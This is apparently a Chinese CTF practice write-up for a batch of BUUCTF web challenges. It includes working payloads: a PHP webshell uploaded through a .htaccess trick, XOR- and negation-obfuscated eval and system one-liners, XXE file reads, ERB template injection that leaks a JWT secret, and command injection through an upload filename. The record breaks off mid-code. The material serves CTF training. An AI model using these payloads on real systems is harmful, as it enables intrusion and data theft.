buuctfweb刷题第四页
buuctf——web刷题第四页
第四页
[SUCTF 2019]EasyWeb
源码:
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
count_chars:
异或构造:
输出可用字符集
<?php
for($ascii=0;$ascii<256;$ascii++){
if ( !preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($ascii)) )
{
echo $ascii.',';
}
}
?>
def func(str):
s=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,
94,123,125,128,129,130,131,132,133,134,135,136,137,138,
139,140,141,142,143,144,145,146,147,148,149,150,151,152,
153,154,155,156,157,158,159,160,161,162,163,164,165,166,
167,168,169,170,171,172,173,174,175,176,177,178,179,180,
181,182,183,184,185,186,187,188,189,190,191,192,193,194,
195,196,197,198,199,200,201,202,203,204,205,206,207,208,
209,210,211,212,213,214,215,216,217,218,219,220,221,222,
223,224,225,226,227,228,229,230,231,232,233,234,235,236,
237,238,239,240,241,242,243,244,245,246,247,248,249,250,
251,252,253,254,255]
for i in s:
for j in s:
if chr(i^j)==str and hex(i)=='0x81': # 0x81为_
#print(chr(j),chr(i))
print(hex(j),hex(i))
string = "_GET"
for m in string:
func(m)
?_=${%de%c6%c4%d5^%81%81%81%81}{%81}()&%81=phpinfo
其实就是?=$GET{}()&=phpinfo
当然,这个试非预期解:
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
根据ip来md5加密;
然后不能出现 ph <?
上传 .htaccess文件:
import requests
import base64
url = "http://fc5e19e8-2ac4-470f-86f8-9e0604126180.node4.buuoj.cn:81/?_=${%de%c6%c4%d5^%81%81%81%81}{%81}();&%81=get_the_flag"
htaccess = b"""
#define width 1
#define height 1
AddType application/x-httpd-php .r
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c47b21fcf8f0bc8b3920541abd8024fd/shell.r"
"""
shell = b"GIF89a00" + base64.b64encode(b"<?php eval($_POST[1]);?>")
#通过base64加密绕过文件内容判断,然后包含的时候再解密
file1 = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"submit"}
res = requests.post(url = url,data = data,files = file1)
print(res.text)
file2 = {'file':('shell.r',shell,'image/jpeg')}
data = {"upload":"submit"}
res = requests.post(url = url,data = data,files = file2)
print(res.text)
[GKCTF 2021]easycms
cms
提示
扫描到admin.php
弱口令的话尝试admin/12345,还真是
然后就是设计——>自定义——>导出主题
然后复制下载链接:
估计是任意文件下载
直接下载后缀改为txt打开即可
[BJDCTF2020]EzPHP
$_SERVER['QUERY_STRING'
],$_REQUEST
base32解码
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
开始处于:
`if (file_get_contents($file) !== ‘debu_debu_aqua’)
die(“Aqua is the cutest five-year-old child in the world! Isn’t it ?
”);`
$_SERVER['QUERY_STRING'
不会对传入的参数url编码,我们就直接unicode全编码
from urllib.parse import quote
original_string = "ctf"
encoded_string = ''.join(['%' + format(ord(char), '02X') for char in original_string])
print(encoded_string)
然后是:/^aqua_is_cute$/
^表示头,$表示尾,换行绕过
?%64%65%62%75=%61%71%75%61%5F%69%73%5F%63%75%74%65%0a
%0A换行
然后是这个:$_REQUEST是post和get都有,但是post的优先级更高,直接post:debu=1覆盖掉get的
file就用data伪协议:
然后:
sha1强比较
emmm,真正的强比较试了一下,发现有东西被ban了,那就直接用数组绕过
最后一步:
因为前面有个extract($_GET["flag"]);
可以利用这个覆盖code和arg
看到什么’’,$arg第一个i选哪个到的就是create_function
arg只需要加},和;//就可以闭合,如:
function a('',$arg){
return }代码;//
}
flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
这里直接用get_defined_vars输出所有定义的量
emmm,有个 rea1fl4g.php ,那就用filter来读,因为.被ban了,那就取反吧:
include被ban了就用requrie
require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)
最终:
get:
?%64%65%62%75=%61%71%75%61%5F%69%73%5F%63%75%74%65%0a&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//
post:
debu=1&file=2&shana=3&passwd=4&flag=5
nb
[GYCTF2020]EasyThinking
thinkphp6的框架,查查看漏洞
我们可以通过修改自己session的内容规定名字
login界面的session值是一个全局的值(这里加php记得先去4个字符再加,满足条件)
session存的位置:
/runtime/session/sess_22eb1fd45e759cfcea9ac956f6b2.php
这里的session就是我们要的了
然后就是flag看不了用readflag
disable_functions绕过
[GXYCTF2019]StrongestMind
那就写个脚本吧(ai搓一个)
import requests
from bs4 import BeautifulSoup
import re
import time
url = "http://7f0b0f66-dfb2-4fda-b338-8585dbd49bb0.node5.buuoj.cn:81/index.php"
session = requests.Session()
for i in range(1, 1023):
time.sleep(0.1)
if i == 1:
response = session.get(url)
else:
response = post_response # 从上次响应中读取下一道题
response.encoding = 'utf-8'
soup = BeautifulSoup(response.text, 'html.parser')
center_text = soup.find('center').get_text(strip=True)
print("原始文本内容:", center_text)
# 清洗文本,只保留数字和运算符
cleaned_text = re.sub(r'[^\d+\-\s]', '', center_text)
match = re.search(r'(\d+)\s*([+-])\s*(\d+)', cleaned_text)
if match:
formula = f"{match.group(1)}{match.group(2)}{match.group(3)}"
answer = eval(formula)
print(f"计算结果: {answer}")
else:
raise ValueError("未找到有效的算式")
# 提交答案
data = {
"answer": str(answer)
}
post_response = session.post(url, data=data)
post_response.encoding = 'utf-8'
print("提交成功!响应内容:")
print(post_response.text)
[WMCTF2020]Make PHP Great Again
require_once
require-once如果包含过多软链接就会失效
/proc/self/
是/proc/[pid]/
的软链接,指向当前进程的/proc/[pid]
目录。/proc/self/root
是指向当前进程的 根目录(root directory) 的软链接
软链接的基本概念
- 软链接是一个独立的文件 ,它的内容只是一个路径字符串。
- 它指向另一个实际存在的文件或目录。
- 如果原文件被删除,软链接会变成“死链”(失效)
那这里就用filter
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
出来base64解密
[SUCTF 2018]GetShell
禁数字字母文件上传
有个这个:
访问:
随便传一个空的txt文件,发现他会自动变成php
那就去看看怎么写入一句话木马
fuzz发现这里的数字,字母都用不了
利用中文字符 + 取反 + 字符串拼接来绕过敏感词过滤器
<?=
$_=[]; //array
$__=$_.$_; //arrayarray
$_=($_==$__); //不成立 false -->0
$__=($_==$_); //成立 true -->1
$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__]; //system
$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__]; //_Post
$___($$____[_]); //system($_POST[_]);
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __construct($b,$c){
$this->syc = $b;
$this->lover = $c;
}
}
$flag = ~("/flag");
$str = "?><?=include~".$flag."?>";
$b = new error($str,1);$c=new error($str,2);
$a = new SYCLOVER($b,$c);
echo(urlencode(serialize($a)));
?>
O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D
[CSAWQual 2019]Web_Unagi
xml绕过
然后看了一下,这个是xml格式的
<?xml version="1.0"?>
<!DOCTYPE users [
<!ENTITY flag SYSTEM "file:///flag">
]> <!-- 引用外部实体flag-->
<users>
<user>
<username>114514</username>
<password>1</password>
<name>11</name>
<email>1.com</email>
<group>CSAW2025</group>
<intro>&flag;</intro>
</user>
</users>
被拦截了,然后绕过的话尝试把UTF-8换成UTF-16
[BSidesCF 2019]SVGMagic
SVG&proc
SVG是啥,搜一下
XML啊,估计就是xxe了
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY flag SYSTEM "file:///etc/passwd" >
]>
<svg height="300" width="300">
<text x="30" y="30">&flag;</text>
</svg>
试试
可以
然后这里为什么是flag.txt呢,看来其他师傅的博客,好像没找到怎么来的,就靠猜的吧
<!--test.svg-->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY flag SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="300" width="1000">
<text x="30" y="30">&flag;</text>
</svg>
/proc/self/root & pwd & cwd
/proc/self:指当前正在访问该路径的进程自身
root: 表示当前进程的 根目录
cwd: 表示当前进程的 当前工作目录
pwd: 是 /proc/self/cwd
的一个符号链接
[ISITDTU 2019]EasyPHP
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd ) die('you are so close, omg');
如果输入字符串中使用的不同字符数量超过 13 种 ,就触发 die()
取反没东西,试试异或:
取反的话和 %ff的异或结果一样:
?_=((%8F%97%8F%96%91%99%90)^(%ff%ff%ff%ff%ff%ff%ff))();
然后用 print_r(scandir(.))
?_=(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%D1)^(%FF)));
但是试了一下发现过13了
然后看来别人的文章, 使用异或的方法,通过已存在的字符构造三个没有的字符
str = 'pscadi'
target = 'ntr'
for m in target:
for a in str:
for b in str:
for c in str:
if ord(a)^ord(b)^ord(c) == ord(m):
print("{} = {}^{}^{}".format(m,a,b,c))
输出(取了三个结果):
n = c^d^i
t = s^c^d
r = p^c^a
替换ntr
payload:
?_=((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
用end直接将指针执行最后一个文件,然后读取
readfile(end(scandir(.))
异或:((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%91%9B)^(%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));
还是超了
str = 'readfile'
target = 'nsc'
for m in target:
for a in str:
for b in str:
for c in str:
if ord(a)^ord(b)^ord(c) == ord(m):
print("{} = {}^{}^{}".format(m,a,b,c))
输出(取三个结果):
n = a^f^i
s = r^e^d
c = a^d^f
换
?_=((%8D%8D%8D%8D%8D%8D%9E%8D)^(%9A%8D%8D%8D%8D%8D%9B%8D)^(%9A%9A%9E%9B%99%96%96%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%8D%9E%8D)^(%8D%99%8D)^(%9A%96%9B)^(%FF%FF%FF))(((%8D%9E%8D%9E%8D%8D%8D)^(%9A%9B%8D%99%8D%8D%9A)^(%9B%99%9E%96%9B%96%9A)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));
[羊城杯2020]easyphp
.htaccess包含自身
unlink
如果不是index.php就会被删掉,然后ban了几个单词,我估计flag就在flag里
那我们这里就写入.hatccess
因为这里file和flag被ban了,然后\拼接上下文的
php_value auto_prepend_fil\
e .htaccess
#
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%20e%20.htaccess%20#%3C%3Fphp%20system(‘cat%20%2Ffla*’)%3B%3F%3E
[FireshellCTF2020]Caas
#include文件包含
尝试echo 1
然后看看报错了啥:
这是一个c的编译器,然后看了其他师傅的wp,这用#include包含:
#include “/etc/passwd”
#include “/proc/self/root/flag”
[HarekazeCTF2019]Avatar Uploader 1
看看正则:
- 输入的字符串必须以开头 (
^
) 开始,以结尾 ($
) 结束。 - 字符串的长度必须在 4 到 16 个字符 之间。
- 字符串中的每个字符只能是 数字 (0-9) 、大写字母 (A-Z) 、小写字母 (a-z) 或 下划线 (_)
看看源码:
<?php
// 关闭错误报告,可能会隐藏一些错误信息,在开发阶段可考虑开启(例如 error_reporting(E_ALL))
error_reporting(0);
// 引入配置文件,可能包含一些常量和配置信息
require_once('config.php');
// 引入工具类文件,可能包含一些常用的工具函数
require_once('lib/util.php');
// 引入会话管理类文件,可能包含安全会话相关的功能
require_once('lib/session.php');
// 创建一个新的 SecureClientSession 对象,使用预定义的 CLIENT_SESSION_ID 和 SECRET_KEY 作为参数
$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);
// 检查是否有文件被上传,如果文件不存在或不是通过 HTTP POST 上传的文件,输出错误信息
if (!file_exists($_FILES['file']['tmp_name']) ||!is_uploaded_file($_FILES['file']['tmp_name'])) {
error('No file was uploaded.');
}
// 检查文件大小,如果文件大小超过 256000 字节,输出错误信息
if ($_FILES['file']['size'] > 256000) {
error('Uploaded file is too large.');
}
// 检查文件类型
$finfo = finfo_open(FILEINFO_MIME_TYPE);
// 获取文件的 MIME 类型
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
// 如果文件类型不是 image/png,输出错误信息
if (!in_array($type, ['image/png'])) {
error('Uploaded file is not PNG format.');
}
// 检查文件的宽高
$size = getimagesize($_FILES['file']['tmp_name']);
// 如果文件的宽度或高度大于 256 像素,输出错误信息
if ($size[0] > 256 || $size[1] > 256) {
error('Uploaded image is too large.');
}
// 如果文件的类型不是 IMAGETYPE_PNG,输出错误信息并显示 FLAG1(可能是用于调试或意外情况)
if ($size[2]!== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>'. getenv('FLAG1'). '</code>');
}
// 生成一个随机的文件名,使用 bin2hex(random_bytes(4)) 生成一个 8 位的十六进制字符串并添加.png 后缀
$filename = bin2hex(random_bytes(4)). '.png';
// 将上传的文件移动到 UPLOAD_DIR 目录下,并使用生成的随机文件名
move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR. '/'. $filename);
// 在会话中存储文件名
$session->set('avatar', $filename);
// 显示一个成功的消息
flash('info', 'Your avatar has been successfully updated!');
// 重定向到根目录
redirect('/');
if ($size[2]!== IMAGETYPE_PNG) {
// I hope this never happens…
error(‘What happened…? OK, the flag for part 1 is: ’. getenv(‘FLAG1’). ‘
’);
}因该是这里输出flag
[SCTF2019]Flag Shop
ruby,jwt
分析一下
eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJhMTE4NWY4Ni0xZDczLTRmMjktODI5ZC1kMzYwZGYwNjY2YjUiLCJqa2wiOjIwfQ.Qkt32DrXtgUUgafRubSL-ouIkc1xZfxNlp5rGaHydoE
ewogICJ1aWQiOiAiYTExODVmODYtMWQ3My00ZjI5LTgyOWQtZDM2MGRmMDY2NmI1IiwKICAiamtsIjogMTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAKfQ
伪造但是显示
robots.txt
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
要点:
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
要满足if params[:do] == “#{params[:name][0,7]} is working” 中的do和name相同,就会使用 JWT(JSON Web Token)库对 auth 数据结构进行编码操作。它将 auth 作为要编码的数据,使用环境变量 ENV[“SECRET”] 作为加密密钥,并指定加密算法为 HS256。编码后的结果会重新赋值给 auth 变量,以便后续使用。
内部的 params[:SECRET].match(/[0-9a-z]+/)首先使用正则表达式 /[0-9a-z]+/ 对 params[:SECRET] 进行匹配操作。
如果匹配成功,它会返回一个 MatchData 对象。然后通过将这个 MatchData 对象转换为字符串,得到从 params[:SECRET] 中提取出的符合要求的字符串部分。
外部的 ENV[“SECRET”].match(…):接着,将从 params[:SECRET] 中提取出的字符串作为参数,再用它去匹配环境变量 ENV[“SECRET”]如果 ENV[“SECRET”] 中能找到与从 params[:SECRET] 提取出的字符串相匹配的部分,那么这个 match 操作就会返回一个 MatchData 对象(表示匹配成功),此时整个 if 条件判断就为真,会继续执行后续位于这个 if 条件判断内部的操作,也就是输出 ENV[“FLAG”]
构造paload:/work?SECRET=&name=<%=$’%>&do=<%=$’%> is working
需要编码使用:
/work SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%
25%3e is working
6075a7e43caa8595b1f0c3f608e84be868d950173d140fa3339bc4aeffa2a30bbddd07abd86cf6a7e078fbe01e77c8a413ebb899bf122c6d9d4c5d0d558739f6 working successfully!
密匙知道了,加密:
[N1CTF 2018]eating_cms
扫到register.php
登陆后看到
有个page参数,试试能不能读文件,index.php没有,估计自动补齐了
user.php?page=php://filter/convert.base64-encode/resource=index
function.php
<?php
session_start();
require_once "config.php";
function Hacker()
{
Header("Location: hacker.php");
die();
}
function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
function filter_directory_guest()
{
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
function Filter($string)
{
global $mysqli;
$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
for ($i = 0; $i < strlen($string); $i++) {
if (strpos("$whitelist", $string[$i]) === false) {
Hacker();
}
}
if (preg_match("/$blacklist/is", $string)) {
Hacker();
}
if (is_string($string)) {
return $mysqli->real_escape_string($string);
} else {
return "";
}
}
function sql_query($sql_query)
{
global $mysqli;
$res = $mysqli->query($sql_query);
return $res;
}
function login($user, $pass)
{
$user = Filter($user);
$pass = md5($pass);
$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user'] = $data[username_which_you_do_not_know];
$_SESSION['login'] = 1;
$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
return true;
} else {
return false;
}
return;
}
function updateadmin($level,$user)
{
$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
// die($res);
if ($res == 1) {
return true;
} else {
return false;
}
return;
}
function register($user, $pass)
{
global $mysqli;
$user = Filter($user);
$pass = md5($pass);
$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
$res = sql_query($sql);
return $mysqli->insert_id;
}
function logout()
{
session_destroy();
Header("Location: index.php");
}
?>
register:
<?php
require_once "function.php";
if($_POST['action'] === 'register'){
if (isset($_POST['username']) and isset($_POST['password'])){
$user = $_POST['username'];
$pass = $_POST['password'];
$res = register($user,$pass);
if($res){
Header("Location: index.php");
}else{
$errmsg = "Username has been registered!";
}
}
else{
Header("Location: error_parameter.php");
}
}
if (!$_SESSION['login']) {
include "templates/register.html";
} else {
Header("Location : user.php?page=info");
}
?>
config:
<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){
echo "no sql connection".mysqli_connect_error();
$mysqli=null;
die();
}
?>
user:
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
Header("Location: index.php");
}
if($_SESSION['isadmin'] === '1'){
$oper_you_can_do = $OPERATE_admin;
}else{
$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
if(!isset($_GET['page']) || $_GET['page'] === ''){
$page = 'info';
}else {
$page = $_GET['page'];
}
}
else{
if(!isset($_GET['page'])|| $_GET['page'] === ''){
$page = 'guest';
}else {
$page = $_GET['page'];
if($page === 'info')
{
// echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
Header("Location: user.php?page=guest");
}
}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
// $page = 'info';
//}
include "$page.php";
?>
login:
<?php
require_once "function.php";
if($_POST['action'] === 'login'){
if (isset($_POST['username']) and isset($_POST['password'])){
$user = $_POST['username'];
$pass = $_POST['password'];
$res = login($user,$pass);
if(!$res){
Header("Location: index.php");
}else{
Header("Location: user.php?page=info");
}
}
else{
Header("Location: error_parameter.php");
}
}else if($_REQUEST['action'] === 'logout'){
logout();
}else{
Header("Location: error_parameter.php");
}
?>
这里的parse_url有漏洞
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
然后看到有个文件上传:
有个php,看看
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>
看到了system,
$picdata = system(“cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/”.$filename." | base64 -w 0");
也就是说我们可以构造 ;`ls 来命令执行
但是
那就是不是这个,看看上文的两个文件
ffffllllaaaaggg没用
在这里
改filename
终于
那就用cd ..;ls
cd ..;tac f*
[GYCTF2020]Easyphp
反序类化
www.zip泄露:
index.php
<?php
require_once "lib.php";
if(isset($_GET['action'])){
require_once(__DIR__."/".$_GET['action'].".php");
}
else{
if($_SESSION['login']==1){
echo "<script>window.location.href='./index.php?action=update'</script>";
}
else{
echo "<script>window.location.href='./index.php?action=login'</script>";
}
}
?>
lib.php
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
